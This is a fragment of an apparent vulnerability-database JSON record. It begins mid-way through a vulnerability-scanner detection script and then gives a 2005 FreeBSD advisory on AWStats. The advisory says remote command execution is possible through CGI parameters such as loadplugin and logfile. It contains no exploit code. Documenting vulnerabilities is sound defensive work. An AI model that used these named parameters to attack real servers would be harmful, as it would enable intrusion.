1;\n}\n\nif(vuln) {\n security_message(data:string(txt));\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "freebsd": [{"lastseen": "2019-05-29T18:35:02", "bulletinFamily": "unix", "description": "\nSeveral input validation errors exist in AWStats that allow a\n\t remote unauthenticated attacker to execute arbitrary commands\n\t with the priviliges of the web server. These programming\n\t errors involve CGI parameters including\n\t loadplugin, logfile,\n\t pluginmode, update, and possibly\n\t others.\nAdditionally, the debug and other CGI parameters\n\t may be used to cause AWStats to disclose AWStats and system\n\t configuration information.\n", "modified": "2005-02-23T00:00:00", "published": "2005-02-10T00:00:00", "id": "FDAD8A87-7F94-11D9-A9E7-0001020EED82", "href": "https://vuxml.freebsd.org/freebsd/fdad8a87-7f94-11d9-a9e7-0001020eed82.html", "title": "awstats -- arbitrary command execution", "type": "freebsd", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}
